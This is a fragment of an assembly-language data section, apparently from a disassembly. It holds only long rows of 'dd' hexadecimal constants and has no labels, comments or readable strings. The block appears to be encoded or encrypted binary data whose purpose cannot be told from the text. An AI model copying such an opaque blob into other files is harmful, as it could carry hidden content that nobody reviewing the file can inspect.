		dd 7777773Fh, 10AF7570h, 2D76CF00h, 21352B33h, 71186937h
		dd 1ABD40B0h, 0E2D59817h, 6D00DF2Dh, 69043330h,	18E989D4h
		dd 0DD65FADDh, 303173A3h, 0CC800B95h, 5765C8C9h, 0AD59DB61h
		dd 971C3E33h, 239F2EBDh, 0E410AA7Eh, 0A9A1B47Bh, 2CCBEAEDh
		dd 0FFA965D2h, 3B333D49h, 37373935h, 333B3539h,	1B30C13Dh
		dd 1F111D13h, 232D212Fh
		dd 2729252Bh, 24D52927h, 202E222Ch, 93E3E30h, 0D2E0F26h
		dd 1F3A0326h, 0F041706h, 1E272A21h, 18631A23h, 1C6B1E6Bh
		dd 70137C27h, 48174C11h, 85D3015h, 0C4D0E41h, 0BE390249h
		dd 0AA07B601h, 1D268205h, 1BE425A3h, 1FF619E9h,	0C912FF26h
		dd 0C016CD10h, 6582F14h, 2C604D8h, 0C70F37CEh, 37043F0Dh
		dd 241B2F06h, 1803260Bh, 24091A03h, 721F721Dh, 0B413B811h
		dd 8B1162Dh, 0C990A95h,	8E0F3685h, 0F5038601h, 233FEE05h
		dd 27E425C9h, 31B2020h,	1E2A1C22h, 2D65A8D2h, 797D2D16h
		dd 0DB57B867h, 0BEED3507h, 3950C565h, 2F2C28C3h, 139E035Ah
		dd 0A1DE3F5Eh, 3947352Eh, 0BB3D3DD8h, 0E4BD2100h, 0BB3032AFh
		dd 2E20CB3Bh, 0B62B38E5h, 229C3CE9h, 1C1C1BFEh,	0B1580DBDh
		dd 50ACB20h, 39351EC0h,	43654668h, 5D515B5Dh, 5134565Eh
		dd 49487616h, 3D696749h, 2C2B0D6Ah, 7B131E29h, 4B37A720h
		dd 49495450h, 42234F44h, 3C2E0E59h, 3333120Bh, 0B111A20h
		dd 3D081C2Ch, 7C5A6C1Bh, 726B531Ch, 23504442h, 48752527h
		dd 242A5D4Eh, 27A53B92h, 6236BB30h, 0C32D5B7h, 2C4EB1FBh
		dd 6F5E4B6Ah, 66AD6CF3h, 2BA1463Dh, 4531CF35h, 28C17E20h
		dd 0A52C0D95h, 0BB57387Fh, 20111467h, 0EB34D062h, 0BFC2C441h
		dd 6804190Fh, 0D3C84A23h, 0D5154902h, 7C193F2Eh, 59EF1022h
		dd 0BC70AF24h, 0DD641B7Fh, 3111A45Ch, 0C83F3B82h, 0E311992Eh
		dd 92F676E2h, 83C902Ah,	22E43D07h, 26E96F3Fh, 3D25E50Dh
		dd 3EF172D9h, 98398640h, 254A426Dh, 93177D61h, 9F515B0Ah
		dd 2C34A025h, 3966D5A0h, 295E2FA1h, 0B4EAD3Dh, 554C5961h
		dd 67B61530h, 7A6A2CC7h, 773AFB18h, 9BC76954h, 2227AB14h
		dd 4C0D301Eh, 29897A37h, 0C42E891Fh, 5A7C04A4h,	16E55653h
		dd 2C3DDE67h, 2BC27469h, 0EC181EB7h, 6C32DE95h,	0E5244F32h
		dd 2169ACE5h, 23EDE901h, 0CE4869D6h, 0C4563730h, 7A51D7DEh
		dd 5F4C3C5Ah, 1B6CF805h, 0ABA0164Dh, 24435301h,	0A512A6C9h
		dd 7337922Dh, 14346164h, 0DC415335h, 0B22952C7h, 15733A8Eh
		dd 1F2B113Eh, 1EE40933h, 3EA9DE28h, 0D8741995h,	2EB532FBh
		dd 9F9A7DD7h, 0FC370751h, 0E39977DCh, 243E4C3Ch, 46378338h
		dd 11A1800h, 263E231Bh,	9E6727C2h, 40282827h, 62A02D2Bh
		dd 0DA01300Bh, 0C9CA190Dh, 3B395067h, 0C1BD3E3Bh, 1DD390E9h
		dd 649ED3F6h, 5D256B21h, 9337587h, 0CC2F2B2Dh, 73D03F6Ch
		dd 7D5A4732h, 36702142h, 1D6B35BFh, 0FD104A2Ch,	2013DC1Eh
		dd 27732320h, 0A5EFAD21h, 0CA02F5Ch, 1493A3F4h,	0F531221Dh
		dd 0CB3536DCh, 0BFF0B19Ch, 0E85F3DDCh, 349EDBB8h, 0D48CD300h
		dd 0DE0DF424h, 0DCA1E8A3h, 0EED42DA7h, 96C133D9h, 0B436FDBFh
		dd 9FC93AD9h, 3F3E70B7h, 1E774D1Ah, 2630481Eh, 0D92724B3h
		dd 5E44C9F4h, 2C2B2C72h, 2E20B037h, 66315E61h, 0A0D17061h
		dd 4A32BE54h, 4B49BB03h, 5541F95h, 72FDA872h, 572849ABh
		dd 0A44C60A7h, 35640B42h, 0B57481DAh, 0D1F5BC66h, 0EBD3AFFh
		dd 1EC03703h, 20DF9B1Ch, 2572A72Eh, 0BD4F2425h,	0F56A2A28h
		dd 312F2F26h, 3033F6B2h, 281372BCh, 3E00D70Ah, 57BBFEF8h
		dd 5493179Ch, 260A4B64h, 34C66044h, 24EF121Fh, 4EBF18A8h
		dd 3166531h, 651A7254h,	73B00F49h, 0A67A3DACh, 8E755C1Bh
		dd 0A22C25AEh, 2545A819h, 0A07D8387h, 768D086Fh, 6E157CA5h
		dd 0C6011B33h, 7A599237h, 3DFC090Ah, 0ECFF0978h, 0C2325768h
		dd 9A830912h, 9E2D3817h, 9A94D11Bh, 524AB91Fh, 2DC4FC44h
		dd 28D8068Dh, 8D0D8420h, 79C8320Fh, 0F52EAD9Dh,	0F9129496h
		dd 199323D6h, 29195797h, 2B501F92h, 58D323Eh, 8320D514h
		dd 0DBFA1586h, 306F6E3Fh, 0D16E96DBh, 0C0B8C970h, 726F520h
		dd 0A2BAB2Bh, 70A6103h,	622D25BDh, 0DF6567E4h, 233E2C06h
		dd 3B29375Ch, 11043364h, 2D212F1Fh, 0C252B23h, 2639783Ah
		dd 5AA67A2Bh, 9663C0Bh,	0CFBE94C0h, 0B1EC3743h,	0BE1518AFh
		dd 3DD59825h, 12DA94E1h, 0D759A3E2h, 0F8DF6788h, 0ADD5AA63h
		dd 3946362Eh, 0B4B6BB34h, 1DA4BC35h, 2CBC3A22h,	0C3F73B3h
		dd 66E04F4Eh, 26EFA334h, 0DBA329E7h, 0A97F02A9h, 0B37D24ADh
		dd 0BFC3B93Bh, 9F65B6CEh, 4F3A484Ah, 0F3F4290Ch, 2FFF324Eh
		dd 37C063AEh, 0E859145Dh, 0A274C160h, 1F912C0Dh, 62273221h
		dd 32B86515h, 0B63BD80Fh, 6AED3B2Eh, 7CEF1FC9h,	2353B368h
		dd 0EB38766Fh, 0B299A72h, 9CD2BA59h, 7140862Fh,	30410FDh
		dd 670B0405h, 0C5F0E3Bh, 2F642958h, 0AB121F9Dh,	8616BB10h
		dd 1B388914h, 0ED93199Eh, 1A032662h, 6700032h, 0A4D046Bh
		dd 0D20F3BEDh, 522F1D0Dh, 141F4A29h, 109916A6h,	282C12FFh
		dd 751E0E1Ch, 0B71AAF18h, 15330731h, 2E43DBB0h,	183B47BAh
		dd 7BDE4A3Fh, 57BE4D0Ch, 0A720C976h, 702A8366h,	0F36A3CD7h
		dd 0D82F2F2Ch, 6ECD2AEFh, 0C2D1B5B7h, 4F31FEBBh, 3D97DD0Fh
		dd 2D2ADE0Ch, 56FAA5E9h, 0D9765434h, 2028EC32h,	146C414Bh
		dd 0A9D82CE8h, 7EFD3513h, 5AB29EDEh, 0ED22A709h, 0DF038742h
		dd 964D1E1Dh, 24279236h, 2A883391h, 0A2389D2Bh,	8230DE05h
		dd 2187AF26h, 0F7710630h, 0C7D547C5h, 1BE914CEh, 6DCF176Eh
		dd 71F50AF5h, 756F2E79h, 24761D21h, 0B10E730Bh,	1033CDD3h
		dd 0B5B76736h, 3E9B6813h, 0FA89BF10h, 1D7D1CDCh, 0E322A105h
		dd 0B007F9B7h, 52829060h, 0B28788Dh, 1F58AC30h,	37763434h
		dd 0FB56AFFCh, 5DFABE9Ah, 420B1C33h, 75011CF7h,	21358103h
		dd 2A89EC05h, 3E742EABh, 2281F528h, 1239506Fh, 19E9E1DFh
		dd 7F3C305Bh, 0DD4D4D27h, 6DAD1FA7h, 0E2CC0706h, 0D628DAEEh
		dd 2D282390h, 2174A22Ch, 0E31F5716h, 6B24AF36h,	8CD4376Ah
		dd 4C1A973Eh, 0DDCE54F5h, 68A8DD21h, 7CAC0601h,	7978220Dh
		dd 418F7827h, 6332D249h, 78EF0BBEh, 6A3A38E3h, 5A5E1655h
		dd 3B9A5591h, 4B500178h, 7726A520h, 4BFDD624h, 3F6E0D27h
		dd 1916A5BDh, 66343564h, 1BCE7C18h, 3B92B601h, 193D9C3Fh
		dd 0D9A2F894h, 51512CDCh, 3129E8D1h, 0A0676D2Bh, 0BA46744Dh
		dd 73B6DD26h, 42D01236h, 1B53D7Eh, 1C5C76D6h, 0A0325FA6h
		dd 0A8017533h, 67202637h, 2A6F232Dh, 36A51726h,	3D351E3Ah
		dd 0DC3035BEh, 79342B8Dh, 195F4F27h, 851CF70Ch,	0CDAB0427h
		dd 68FF47DDh, 35EA4729h, 0D02F5FCEh, 3442DC13h,	6BCE14D5h
		dd 1EDB3A48h, 18A8A939h, 2F1D88F4h, 262361F9h, 0B626651Ch
		dd 2B5B6A2Bh, 61982EBCh, 30A23141h, 0A736446Dh,	38AF5D3Bh
		dd 7F1A7D85h, 0DF14C9E6h, 0BA21A11Eh, 2FA424A6h, 43D14075h
		dd 79436A77h, 70293000h, 7113B475h, 4B87471h, 7F78E053h
		dd 5B554A30h, 62BC942Bh, 1047764h, 0E940755Ah, 66A12CEBh
		dd 9CD8467Eh, 0BEA133F4h, 0B0BBA234h, 0F735AE33h, 384F7B65h
		dd 69841A01h, 0B42239E1h, 0A4266470h, 6EA32B6Bh, 316DAA2Ch
		dd 357107B1h, 40367449h, 4A3B1FBAh, 6F951BC2h, 5D6E1FDEh
		dd 22604D21h, 8D27674Ch, 4B2B6B4Ch, 6D722C6Eh, 32706931h
		dd 3674619Eh, 773B7B68h, 7D763C7Eh, 5C59B61Ah, 228F601Eh
		dd 38527E1h, 44A07B0Eh,	220F750Bh, 102C580Bh, 731F463Fh
		dd 3E66302Dh, 38086766h, 4A1865B4h, 153523E1h, 2C842C92h
		dd 397927B6h, 3D9D2917h, 0BC445A27h, 31646C42h,	0F8293766h
		dd 79FB3F4Bh, 9D1A231Ah, 8E250E60h, 1EC5221Bh, 13AA1D68h
		dd 0F42B11F8h, 0B14F016h
		dd 340FD10Dh, 5500B55h,	28C0489h, 0A6F943Fh, 2F1C1DBCh
		dd 79222220h, 0BD16E614h, 2B18BA19h, 1B1D1FEEh,	6550551h
		dd 450F6634h, 0B4034101h, 6A63D05h, 16DF21DFh, 283E208Ah
		dd 0A6052163h, 6DE9AD1Bh, 0BA228834h, 1ED9256Dh, 74BF3C73h
		dd 0FABD7836h, 0B9FB354Fh, 591D26FFh, 21C118F5h, 2472AE26h
		dd 0C18C7505h, 0A781CBB7h, 0B6132EA8h, 0BB861033h, 0B6B01436h
		dd 569C19FAh, 245ADEAAh, 5E9C4C4Dh, 51229201h, 2E27992Fh
		dd 0BDA02ACBh, 0D0351A06h, 85160A86h, 3734260Eh, 48A1BB2h
		dd 0CCC32BC2h, 116A468Dh, 42CA7798h, 11062396h,	0B952A48h
		dd 2FAC0215h, 333D38FFh, 475CBB29h, 26C50A1Ch, 2B767817h
		dd 340DF490h, 3C80724Ah, 2443AEA3h, 7B69346Ch, 0AC7A7D33h
		dd 70463290h, 78BE2C31h, 543DB53Fh, 1E3FDD81h, 4B1D6BE4h
		dd 0F571D8Fh, 6BB5A802h, 0C97D095Ah, 0B068A62Ch, 51394B0Fh
		dd 0D565DB1Ch, 0B0FF3436h, 0F22A1B54h, 29D0520Bh, 0EE149E88h
		dd 3582CB14h, 0D29613E2h, 481EE384h, 5E02D3Fh, 1FC07FEh
		dd 0FD5A363Ah, 3B1A490Ch, 3B420BF7h, 9A2BD321h,	2C49BED7h
		dd 0FC13E022h, 1EE52BE8h, 2ED118E3h, 0FC07FEDFh, 0F835CA01h
		dd 5190280Dh, 9A283C9Dh, 1FBC841Ah, 70208517h, 0DC2485E5h
		dd 0DE288C59h, 87C12D8Ah, 3013318Ah, 93EB3593h,	3B986836h
		dd 3F98EC91h, 0DF1DBA41h, 808C1EBBh, 80904923h,	2889FD27h
		dd 6C938BFDh, 0B19A8E0Dh, 0D1AD33D1h, 535AA636h, 89EE1FB6h
		dd 4D4E3EAEh, 0D1C306DDh, 4F2B023Ch, 29463661h,	0A03DAA7Bh
		dd 0B40F022Ch, 105F12BAh, 0F8CFBD2Dh, 0A38A338h, 0BB04AEF5h
		dd 31BE941Ah, 0C9312524h, 27081527h, 0F46A0E4h,	2D3BD204h
		dd 323EC3A0h, 0BBECB93Bh, 2A9D38ACh, 432D9C3Dh,	38F1C9Ah
		dd 22B133A9h, 0D6F939B7h, 134B933h, 0B15233DAh,	8D2CAF32h
		dd 0A9353B28h, 0A424A72Ah, 8EF23626h, 20184BDh,	0E93D8B1Dh
		dd 0BA39BC60h, 5DC0DB3Bh, 30B309DEh, 2CAF32B1h,	0FCB02EADh
		dd 0BB63EB43h, 2639D809h, 0C49864FEh, 9F8C099Eh, 393D813Fh
		dd 52398551h, 0CC35955Ah, 45EFAB29h, 3627723Ah,	7A325721h
		dd 6C2F3A69h, 99A32BC2h, 12C51546h, 8E2C743Dh, 29672864h
		dd 2A247422h, 0CB683F2Ah, 73AC30Dh, 0F5A8B836h,	0B63A49C1h
		dd 9F226582h, 3C1EFC14h, 0ED1BC1BDh, 2925F3CBh,	546BAEADh
		dd 0A3222F58h, 32A12CB9h, 14743960h, 3C685878h,	90B0213Eh
		dd 1D8CDAC8h, 0C975D095h, 0E5A553E7h, 79230520h, 0B6C4E401h
		dd 71142ADEh, 41243A46h, 0F1264766h, 0CB7C3B1h,	0CDACB64Dh
		dd 0A06B6F6Eh, 771874AAh, 280169A8h, 8E6F6825h,	0B914795Eh
		dd 0DC1ED29Eh, 0BA27F7E7h, 4F9ABCB3h, 0AA4C9FBAh, 90969908h
		dd 0CBED52D1h, 2356559Ch, 0D26689Bh, 2A62A820h,	81AB808Dh
		dd 75A8BC34h, 7A33A732h, 7EB8B636h, 68DE2711h, 0CA71B816h
		dd 0C67F340Ah, 6B14A338h, 0B0A4A876h, 2CB931AEh, 3D24AABBh
		dd 6BB7B333h, 0E9C26D37h, 9C7585B6h, 0C0B6941Eh, 25C5712Eh
		dd 0CD7727A7h, 6CA6EEA1h, 31B41EA7h, 1AF73282h,	0BA38381Dh
		dd 2D2829D6h, 9C3F73B8h, 243B5A7Dh, 200CC204h, 792F2655h
		dd 7E3B2A69h, 282F6E88h, 64137A41h, 0BE3B7CB5h,	58AB2F73h
		dd 11595E36h, 9E171C8Ch, 23DD67C1h, 2B273519h, 2F49CBA9h
		dd 8931112Ch, 0B02E122Ah, 623A35D8h, 2F1E55B3h,	6916D0B9h
		dd 0D940A6Eh, 7F32E041h, 2AE134A0h, 76687BE4h, 2ED2A90Fh
		dd 0F9B2355Ah, 0BB6ADFCCh, 2A1D7C97h, 7EBDE708h, 17951A6Fh
		dd 35981F11h, 0EB1F0562h, 0A24E625Ah, 2CCCC73Fh, 5156792Ah
		dd 0F6BDDB51h, 0BA38C8CBh, 0FDB837FEh, 2C0D4A61h, 0E40AE14Eh
		dd 316337A1h, 764BE617h, 0CF3FEF74h, 0A88F3A08h, 386571B0h
		dd 0BB372CDDh, 6D271F59h, 0F3FB686Eh, 319BF51h,	24BBE1A4h
		dd 27276C84h, 0AF25E9ADh, 0A42D2D24h, 0DA367C20h, 0F41835F5h
		dd 0DF3A4980h, 0D63F3D7Fh, 1AE2F063h, 223DECE0h, 0A5D569A8h
		dd 0C32018E6h, 0B22DB31Ch, 0DB63242Eh, 3C361831h, 3AA2F9B6h
		dd 2017D538h, 1DF8173Ah, 2D250F12h, 598220Fh, 0B159B431h
		dd 394C2AD7h, 3DD72BEFh, 0BEE55332h, 0B5C2BCDCh, 0F9BDEECDh
		dd 3847F1BEh, 62A71E49h, 0AA4122FBh, 29815F66h,	0ED23254Bh
		dd 522C3FCDh, 0E4C4ED12h, 1C73BF35h, 37FA195Dh,	0F3F37FEh
		dd 1D9F1E44h, 2260AC40h, 1F276718h, 1F80286Ah, 6D1E2C6Eh
		dd 32701D31h, 9D37771Ch, 1B3B7B1Ch, 7D223C7Eh, 1F5F041Ah
		dd 236334B5h, 2A246633h, 68212965h, 0AA29822Ah,	0B077F36Ch
		dd 3777CC1Dh, 90387AC3h, 0D23C7ECBh, 5FF41A7Dh,	7F50FB1Fh
		dd 212B129Dh, 93423849h, 2E8A3440h, 2E564C9Dh, 4828E31h
		dd 56AF97DBh, 3B230A85h, 2DAF3F31h, 993A3F73h, 0F6CC2910h
		dd 2716994Ch, 0FA1A932Ch, 3E1015CCh, 8EDA038Eh,	828EB304h
		dd 0D841308h, 9792C72h,	4FE157AAh, 0F323E328h, 230251ADh
		dd 0E8632B2Bh, 6F0B4D2Dh, 0D88B6034h, 0B9A6D79Eh, 0C697B9F7h
		dd 61FE0EC3h, 5D903442h, 0A57E3FE0h, 912D4CDCh,	6D78AF7Dh
		dd 28AC248Bh, 9E59ADFDh, 7818C57Eh, 11A92935h, 0F9393C2Fh
		dd 6FE3C739h, 23119F73h, 48A62F6Ah, 0A7422774h,	0FF652B78h
		dd 5CB31B22h, 7FBE3C60h, 9D022533h, 414C3D7Ah, 8957116Fh
		dd 5219195Ch, 7A91F32Dh, 792506B9h, 2E6F3860h, 0BD2F7F7Ah
		dd 0EC3003C6h, 3AA62D07h, 5E29CEDAh, 193F709Ch,	161E7D49h
		dd 43352140h, 27462124h, 2B4A7C5Ch, 162E4D5Fh, 535D3150h
		dd 5763A234h, 3B5A3438h, 313E5D36h, 4B0C1C7Bh, 4235207Fh
		dd 26453123h, 0CA1649F5h, 192DAD7Eh, 5227318Fh,	36554433h
		dd 3A596D3Bh, 1E2F5C33h, 961053B4h, 23129D0Fh, 952523ABh
		dd 2920E527h, 0ED22192Bh, 1C7F2F7Fh, 303856D5h,	6A183536h
		dd 2518A7B1h, 4A4E3F4Eh, 383F4907h, 0D614B231h,	0C8BAD12h
		dd 2D7B0A27h, 622FA1CCh, 28175EB8h, 74619634h, 8A35261Dh
		dd 253BA720h, 11161988h, 490A2F02h, 0CF748D2Ch,	32E9B99h
		dd 9F2A2998h, 61FF9534h, 57703B15h, 825134CDh, 73CDE938h
		dd 0DE0918AEh, 2C562446h, 6A652AB1h, 0C278204Dh, 1A283E4Bh
		dd 3734243Ah, 26493123h, 0C538BB32h, 3D3D330Bh,	1D1F1B30h
		dd 21A4F39Fh, 0AE347021h, 0A9A403BAh, 597AF05Bh, 42BD482Eh
		dd 0DD62641Eh, 35D8768Eh, 317FFC6Ch, 553C1F3Bh,	0DFE3E71Dh
		dd 0DFB8CA72h, 91D86ED9h, 0DF44FA08h, 63BB0EA0h, 0DC96C121h
		dd 3636571Fh, 29713A91h, 1AD668A9h, 9B251C0Fh, 224C2521h
		dd 26F37926h, 292B6D2Ah, 372C2C1Ch, 31330AB2h, 2137D39Eh
		dd 8F3838F0h, 3E9A3F3Dh, 1FD3B619h, 26A0A24Dh, 46272551h
		dd 64832A26h, 2F152E2Ah, 3030102Dh, 362C353Dh, 9A38F097h
		dd 0E3CFC14h, 9C8F337h,	2348105Eh, 0A5542122h, 0E97432D9h
		dd 8C4B2B0Ch, 0F1813F9Eh, 65666738h, 0DF93396h,	50377A0Ah
		dd 1C3F13FEh, 2B1C9E19h, 23C321A2h, 3DD8B639h, 2AABF395h
		dd 308F8220h, 4009F413h, 0EA0DBD0Fh, 63BD103h, 20980542h
		dd 1FF726D4h, 1F23211Bh, 1BA01939h, 0D816B728h,	4F132610h
		dd 0EAE310Dh, 0A880898h, 3E3A04D4h, 67007602h, 1E236F25h
		dd 1C831E8Eh, 18EE1A90h, 30162B27h, 0A7125714h,	9ED9B010h
		dd 0DE642C51h, 6E1139F9h, 0DF15183Fh, 4A4E2354h, 0D1035BF6h
		dd 0CD279020h, 28888585h, 7A7C2364h, 0C07EA66Fh, 26342728h
		dd 1098F695h, 6363FDB1h
		dd 32A4B65h, 20119F14h,	28497577h, 2A696CDh, 10B562Bh
		dd 452FABDDh, 206F3221h, 6B663665h, 0C81FAEB4h,	73373D3Dh
		dd 1F1D2Bh, 0F4DD7772h,	5BE6A0B4h, 5E3D2D11h, 2F1FA9FBh
		dd 178EB256h, 3536343Ah, 54F3818h, 78BFFD54h, 0CB9F8FF3h
		dd 9A25619Eh, 26262422h, 152F4167h, 2EF98C43h, 5F31E1B0h
		dd 0E7F834E6h, 0EFAC6737h, 3EECC73Bh, 341CCE6Eh, 8B20CF12h
		dd 7224F661h, 0FC1D27F7h, 2DFDAE2Ah, 31E50884h,	2C34E281h
		dd 0E8D937E3h, 0E837A93Ah, 0CC16303Eh, 0F475E31Dh, 0F51E8821h
		dd 28F2C925h, 0FBA3FB42h, 329EE5AEh, 86AFBB11h,	4FDF1A37h
		dd 39FD3989h, 193AFE69h, 0D1952D4Eh, 263106C8h,	761AA2C5h
		dd 0BB7F7B44h, 7BB95D28h, 27E333C0h, 32073837h,	1A150815h
		dd 0C06E150Dh, 0DE9818CEh, 0B62E2537h, 32360067h, 0C4C108CFh
		dd 0AD2E9CBAh, 77E702E9h, 32878ADCh, 89ACD96Ch,	3A8D4F3Fh
		dd 0C8280CDFh, 0FB5F235Bh, 2A339C67h, 21282826h, 0DD3C1A2Ah
		dd 0C013F13Eh, 0B4248022h, 1E381BDAh, 0B62C6D69h, 9C5F1B8Ah
		dd 0D994491Dh, 5A7DAF21h, 0A37169A8h, 4CFF1F6Dh, 8490796Dh
		dd 24B03040h, 0F804C9FCh, 0CE2B27E9h, 0CAC85693h, 4E1F2E55h
		dd 23C02060h, 35A85A9h,	0FEFB023Ch, 2EEC452Ch, 61E33210h
		dd 54E6E3CBh, 4F16F9BDh, 2D3A151Ah, 1C3E4D19h, 0CA35EB94h
		dd 2627A48Bh, 2A283826h, 591D4429h, 3101B31Fh, 83044002h
		dd 0E908F406h, 0D30CDB0Ah, 1A2E1A0Eh, 3E120A2Ch, 6C161B10h
		dd 0A1B3C14h, 791F6C19h, 41034B1Dh, 0C807BD01h,	330C3305h
		dd 1C082B0Eh, 582F170Ah, 562B4D29h, 24738215h, 23181776h
		dd 0FFC95FE9h, 3C2F9E6Ch, 0C5C4E002h, 0F93F3645h, 0FF93A69h
		dd 0EB6FD5EFh, 1A2B9D4Eh, 722E0040h, 0F6CFF425h, 0C12AF8F3h
		dd 0E625F5FDh, 33C5C545h, 0C0FEBEC7h, 0AA2E1D5Ch, 2F3E7DBDh
		dd 106FCD18h, 13206024h, 1C1D1615h, 13121A10h, 19171F18h
		dd 0B000B1Dh, 10F0305h,	90E0305h, 0C0A060Fh, 28252D04h
		dd 1A122824h, 151C1013h, 121A101Ch, 171E1212h, 40B1D19h
		dd 20E070Bh, 0B090C04h,	0A060A03h, 252A040Ch, 17252C24h
		dd 1D171913h, 1A101C12h, 1C1B1B12h, 2181418h, 0E04070Ah
		dd 0D0C0402h, 0B01080Fh, 280E050Fh, 28242925h, 1A131A12h
		dd 101C1317h, 1A1B121Ah, 18141F1Fh, 5000A02h, 5010F0Dh
		dd 0B0B0A03h, 40C0A06h,	2425282Ah, 151A1228h, 111F1714h
		dd 1F181315h, 19171F1Dh, 7000B1Dh, 10F040Ah, 3000305h
		dd 0C0A060Ah, 272E2304h, 191B2D29h, 121E1610h, 1E191C14h
		dd 1A161E1Fh, 508141Ch,	7030905h, 9000Dh, 60E0C00h, 282A0D0Fh
		dd 1B2D2927h, 1E101114h, 1E1C1412h, 1B11191Bh, 71E151Fh
		dd 3090B08h, 8060D07h, 0B010F01h, 2A0E050Fh, 28242D2Ch
		dd 14131A12h, 101C1510h, 1C1E121Ah, 1D191715h, 504090Bh
		dd 0C04020Eh, 0C0F0B09h, 40C0A06h, 2F2E282Ah, 19131725h
		dd 11121612h, 111B1F1Dh, 141A1A13h, 0B0A0218h, 4020E0Ah
		dd 30B0E0Ch, 50F0B01h, 2A282A0Eh, 1A122824h, 12161613h
		dd 121A101Ch, 1714181Ch, 0B1D19h, 0F020105h, 30501h, 0A06080Fh
		dd 242A040Ch, 1725272Ah, 10121913h, 1F1D1E1Dh, 1918111Bh
		dd 2181418h, 101030Ah, 0A000C03h, 0C0F0C02h, 200D0907h
		dd 26292B2Dh, 1810161Ah, 1D1E1215h, 1A111B1Fh, 151D1F1Ah
		dd 4090307h, 0C0703h, 0E0F020Ah, 0D090708h, 2F2C2D20h
		dd 10161A2Fh, 14171D18h, 111B1F1Dh, 1414181Dh, 30A0218h
		dd 0C020D06h, 0B020A00h, 4040C0Ah, 28272908h, 161A2E28h
		dd 12171810h, 121A101Ch, 1C1A1A1Bh, 0A021814h, 10D0703h
		dd 20A000Ch, 0A080B0Bh,	27290804h, 1A2B2824h, 17181016h
		dd 1F1D1E15h, 1A1A111Bh, 2181418h, 3010B0Ah, 305010Fh
		dd 60C030Bh, 2A040C0Ah,	252C2428h, 11191317h, 101C1D14h
		dd 1D1B121Ah, 18141D18h, 4030A02h, 0C0605h, 0B0B020Ah
		dd 8040E0Dh, 24242729h,	111A1228h, 111F1112h, 12181315h
		dd 1C1A1613h, 10414h, 0D070309h, 20F0A06h, 50F0B01h, 2B2E2B0Eh
		dd 1A122824h, 1F111510h, 1B131511h, 1A16131Eh, 9141Ch
		dd 7030903h, 0B00010Dh,	60E0C00h, 2629060Bh, 14242C2Ah
		dd 13191716h, 1F161D17h, 1B111C18h, 51A151Fh, 0F01050Bh
		dd 1030104h, 7090D03h, 2A0E0D0Ch, 242C2A26h, 1A111111h
		dd 1C14121Eh, 111B1B11h, 1E151F1Bh, 9020006h, 60D0703h
		dd 10C0B0Dh, 7050F0Bh, 2C2A2628h, 14141624h, 1D171319h
		dd 1D131D15h, 19141719h, 60A19h, 50C0308h, 10B0F0Dh, 40A0908h
		dd 2C272908h, 1B152D2Dh, 141F1115h, 131D141Eh, 1817191Dh
		dd 60A181Eh, 50D0800h, 0B0F0D01h, 0E0A0E01h, 27290804h
		dd 1A2A2B28h, 15181016h, 12101E12h, 1910181Eh, 715181Bh
		dd 60A0903h, 0A000C01h,	40D0B02h, 29080409h, 292C2E27h
		dd 1810161Ah, 1D111510h, 1F111B1Fh, 18141E18h, 1010A02h
		dd 0C04020Eh, 0D0C0F09h, 40C0A06h, 2E2B2E2Ah, 19131725h
		dd 111F131Ah, 1A181315h, 19171819h, 3000B1Dh, 10F0606h
		dd 0C080305h, 907040Bh,	2B2D200Dh, 161A2C29h, 17151810h
		dd 1E121417h, 1F1E1018h, 307151Eh, 4000209h, 20A000Ch
		dd 7040C08h, 2D200D09h,	17252E2Fh, 17101913h, 1A101C17h
		dd 1B1D1C12h, 0B1D1917h, 0E0A0408h, 90C0402h, 60B0F0Bh
		dd 23040C0Ah, 2824242Fh, 14131A12h, 101C101Dh, 1F1B121Ah
		dd 18141A15h, 0A030A02h, 5010F04h, 0E0B0803h, 0D090705h
		dd 242E2520h, 131A1228h, 1C13141Ah, 1B121A10h, 141A191Eh
		dd 30A0218h, 0C040C01h,	0B020A00h, 40B0E0Ah, 2A272908h
		dd 161A2F27h, 13151810h, 1E121F1Eh, 1F1D1018h, 60A1A1Fh
		dd 70C0800h, 0B0F0D01h,	0B0F0A01h, 2E2C050Bh, 192F2F26h
		dd 1F11151Bh, 121E1011h, 1D10181Eh, 0A1D1A18h, 7080006h
		dd 0F0D0206h, 0C09010Bh, 2C050D0Fh, 2D2F262Eh, 14181012h
		dd 1F171E16h, 1C101A11h, 161F161Eh, 4080106h, 0E0E06h
		dd 90D030Ah, 80E0C07h, 2C2A262Fh, 14121924h, 1D171319h
		dd 1D191D16h, 151F1B11h, 808021Ch, 70E0604h, 90006h, 0F060E0Ch
		dd 272F2208h, 101B2D29h, 1F171412h, 1C131511h, 1A161B1Ch
		dd 703141Ch, 7030905h, 0B0A060Dh, 0F0B0109h, 292E0E05h
		dd 1B2D2927h, 17101610h, 1315111Fh, 1B111E1Ah, 817151Fh
		dd 6040804h, 906070Eh, 0E0C000Bh, 2F0A0F06h, 2D292728h
		dd 1112141Bh, 1C14121Eh, 18191F19h, 141C1A16h, 3060201h
		dd 0C04020Eh, 0B0F0809h, 40C0A06h, 242E2C2Ah, 131A1228h
		dd 1C101313h, 1B121A10h, 141D1912h, 0A0218h, 10F0204h
		dd 8080305h, 9070C0Fh, 252D200Dh, 161A2C2Eh, 11131810h
		dd 1B1F1D13h, 1E1E1311h, 0A021814h, 0F020301h, 0E030501h
		dd 0A060903h, 2428040Ch, 1228242Bh, 1112131Ah, 1A101C13h
		dd 1F1B1B12h, 2181415h,	6030A0Ah, 305010Fh, 60C0D08h, 2A040C0Ah
		dd 252B2929h, 12191317h, 1D121712h, 19111B1Fh, 1814141Dh
		dd 1060A02h, 5010F0Ch, 0F0D0803h, 0D090704h, 2E2D2D20h
		dd 10161A2Dh, 13151218h, 111B1F1Dh, 18151D1Ah, 9030715h
		dd 0C05050Bh, 0C020A00h, 9070E0Ah, 2B2D200Dh, 1317252Ah
		dd 12131019h
		dd 121A101Ch, 17151B12h, 70B1D19h, 20E0601h, 8000C04h
		dd 0F0B0103h, 2A2C0E05h, 1B2D2927h, 1E161A10h, 191C1412h
		dd 161F1919h, 1141C1Ah,	3090404h, 8050D07h, 0B010D08h
		dd 2D0E050Fh, 28242F28h, 17141A12h, 15111F11h, 1B1C1813h
		dd 1D19171Bh, 30B000Bh,	5010F04h, 30A0C03h, 40C0A06h, 2F2F292Ah
		dd 19131725h, 111F1716h, 1D181315h, 1C1A1619h, 8080214h
		dd 0E0604h, 0D030007h, 0D040709h, 2F2B2107h, 13122E25h
		dd 17131915h, 181D151Dh, 161E1C10h, 71B1Fh, 0E060408h
		dd 0F0D0F07h, 60E0C00h,	2E220C0Fh, 1B2D2927h, 171B1A10h
